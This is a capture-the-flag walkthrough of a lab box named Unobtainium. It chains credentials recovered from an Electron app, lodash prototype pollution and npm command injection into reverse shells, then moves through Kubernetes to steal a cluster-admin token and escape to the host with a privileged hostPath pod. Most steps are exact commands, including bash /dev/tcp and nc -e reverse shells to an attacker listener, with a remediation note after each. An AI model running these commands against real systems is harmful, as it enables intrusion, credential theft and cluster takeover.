Unobtainium
Summary
I downloaded an Electron desktop application from the Apache server on port 80, unpacked its bundled JavaScript source from the asar archive, and recovered hardcoded API credentials. Those credentials unlocked the Node.js API on port 31337, which accepted a filename parameter to return the server's own source code, revealing a prototype pollution flaw in lodash and an OS command injection sink in the google-cloudstorage-commands npm package.
Chaining both vulnerabilities produced a reverse shell executing as root inside a Kubernetes pod, yielding the user flag. The pod's automatically mounted service-account token had cluster-wide permission to list namespaces, exposing a 'dev' namespace running the same vulnerable Node.js application.
Replaying the exploit against a dev pod produced a shell under the dev service account, which was over-permissioned to read all secrets in kube-system, including a secret containing a cluster-admin bearer token. With full cluster control, I applied a privileged pod that mounted the host's root filesystem via a hostPath volume, caught a reverse shell from it, and read the root flag directly off the underlying node.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<base64-ca-field-from-response>, <base64-token-field-from-response>, <working-local-image>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Identify service versions on the four known ports.
$ nmap -sV -p 22,80,8443,31337 $TARGETConfirm the Apache page links to the Electron app installer.
$ curl -sS http://$TARGET/ | grep -i downloadConfirm 8443 is the Kubernetes API server: expect 401 Unauthorized.
$ curl -k -i https://$TARGET:8443/api/v1Confirm 31337 is a Node.js/Express API: expect empty array response.
$ curl -i http://$TARGET:31337/Exact commands 4
Download and unzip the installer archive.
$ curl -sS http://$TARGET/downloads/unobtainium_debian.zip -o unobtainium_debian.zip && unzip unobtainium_debian.zipUnpack the Debian package to get the Electron application tree.
$ ar x unobtainium_1.0_amd64.deb && tar -xf data.tar.xzExtract the bundled JavaScript source from the asar archive.
$ npm install -g asar && asar extract opt/unobtainium/resources/app.asar out/Locate the hardcoded credentials in the todo module.
$ grep -r 'password' out/src/js/todo.jsFixRemove hardcoded credentials from the Electron applicationCritical
Exact commands 1
Read the server entry point: reveals the prototype pollution path and the command injection sink.
$ curl -sS -X POST http://$TARGET:31337/todo -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"'"$PASSWORD"'"},"filename":"index.js"}'FixRemove the server-side file-read endpointHigh
Exact commands 1
Pollute Object.prototype so canUpload is truthy for all user objects. Use constructor.prototype: the literal __proto__ key is rejected by this server.
$ curl -sS -X PUT http://$TARGET:31337/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"'"$PASSWORD"'"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'FixUpgrade lodash and reject prototype-polluting keys in all merge inputsCritical
Exact commands 4
Start the reverse shell listener on my machine BEFORE firing the injection.
$ nc -lvnp 4444Base64-encode the reverse shell payload. Replace $ATTACKER_IP with your listener address.
$ P=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0)Fire the injection. The '&' prefix appends the decoded shell command after the package's own command string.
$ curl -sS -X POST http://$TARGET:31337/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"$PASSWORD\"},\"filename\":\"& echo $P|base64 -d|bash\"}"On the received shell. Confirm container-root execution and read the user flag (value: <user.txt>).
$ id; whoami; hostname; cat /root/user.txt
uid=0(root) gid=0(root) groups=0(root)FixReplace the vulnerable npm package and never pass user input to shell commandsCritical
Exact commands 5
List all namespaces with the pod's mounted SA token: reveals the 'dev' namespace.
$ T=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA -H "Authorization: Bearer $T" https://$TARGET:8443/api/v1/namespacesList pods in the dev namespace to discover devnode pod IPs (e.g. $INTERNAL_HOST).
$ curl -sS --cacert $CA -H "Authorization: Bearer $T" https://$TARGET:8443/api/v1/namespaces/dev/podsReplay the prototype pollution against the dev pod's Node.js service on port 3000.
$ curl -sS -X PUT http://$INTERNAL_HOST:3000/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"'"$PASSWORD"'"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'Open a second listener for the dev-pod shell.
$ nc -lvnp 4445Fire command injection against the dev pod. Replace $ATTACKER_IP with your listener IP.
$ P2=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" | base64 -w0) && curl -sS -X POST http://$INTERNAL_HOST:3000/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"$PASSWORD\"},\"filename\":\"& echo $P2|base64 -d|bash\"}"FixApply least-privilege RBAC to all Kubernetes service accounts and disable automatic token mounting where not neededHigh
Exact commands 3
Read the cluster-admin secret using the dev pod's mounted SA token.
$ D=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA -H "Authorization: Bearer $D" https://$TARGET:8443/api/v1/namespaces/kube-system/secrets/c-adminDecode the token and CA certificate from the JSON response's data fields.
$ echo '<base64-token-field-from-response>' | base64 -d > /tmp/admin.token && echo '<base64-ca-field-from-response>' | base64 -d > /tmp/admin-ca.crtConfirm the cluster-admin token works: should list all namespaces without 403.
$ curl -sS --cacert /tmp/admin-ca.crt -H "Authorization: Bearer $(cat /tmp/admin.token)" https://$TARGET:8443/api/v1/namespacesFixPrevent application service accounts from reading kube-system secretsCritical
Exact commands 4
List existing kube-system pods to identify a working locally cached image name.
$ curl -sS --cacert /tmp/admin-ca.crt -H "Authorization: Bearer $(cat /tmp/admin.token)" https://$TARGET:8443/api/v1/namespaces/kube-system/podsStart the escape-pod listener BEFORE applying the manifest: the pod self-terminates in ~1 minute.
$ nc -lvnp 4446Apply the escape pod. Replace <working-local-image> with the image found in the previous step and $ATTACKER_IP with your listener IP.
$ curl -sS --cacert /tmp/admin-ca.crt -H 'Authorization: Bearer '$(cat /tmp/admin.token) -H 'Content-Type: application/json' -X POST https://$TARGET:8443/api/v1/namespaces/kube-system/pods --data '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"hostroot","namespace":"kube-system"},"spec":{"hostNetwork":true,"containers":[{"name":"c","image":"<working-local-image>","imagePullPolicy":"Never","command":["nc","'"$ATTACKER_IP"'","4446","-e","/bin/bash"],"volumeMounts":[{"name":"h","mountPath":"/root"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}'On the received shell. Read the host root flag from the mounted host filesystem (value: <root.txt>).
$ cat /root/root.txtFixBlock privileged pod creation and hostPath volume mounts via Kubernetes admission controlCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 8443/tcp | ssl/http Golang net/http server |
| 31337/tcp | http Node.js Express framework |